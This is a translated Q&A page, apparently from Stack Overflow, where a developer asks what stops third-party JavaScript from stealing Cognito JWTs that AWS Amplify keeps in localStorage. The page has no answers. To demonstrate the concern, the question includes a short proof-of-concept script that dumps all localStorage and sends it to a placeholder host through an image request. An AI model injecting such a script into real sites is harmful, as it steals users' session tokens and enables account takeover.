使用AWS Amplify,是什么阻止第三方JavaScripts窃取我的JWT?

时间:2018-05-31 21:36:30

标签: javascript jwt amazon-cognito aws-amplify

我正在处理使用aws-samples/aws-amplify-vueaws/aws-amplify示例。我试图理解JWT如何与Cognito进行身份验证,我不明白我在身份验证后收到的JWT是如何被保护的,以免被任何人泄露和使用我可能正在使用的第三方JavaScript库。

我克隆了示例并按照说明进行设置。然后我修改了index.html以包含额外的<script>

<script src="https://example.com/list-localstorage.js"></script>

然后我在list-localstorage.js上托管example.com。内容如下:

// Ref: https://stackoverflow.com/a/28306101/624726
var allStorage = Object.keys(localStorage).reduce(function(obj, str) { 
  obj[str] = localStorage.getItem(str); 
  return obj
}, {});

// Ref: https://stackoverflow.com/a/5049668/624726
(new Image).src = 'https://example.net/log-storage?' + JSON.stringify(allStorage);

当我看到example.net的访问日志时,我看到我的JWT被记录了。我能够验证idaccess令牌上的签名。

这些可用于访问受保护的内容吗?他们正在做些什么来阻止(例如)恶意JavaScript广告阅读localStorage中的所有数据并使用我的JWT窃取?

0 个答案:

没有答案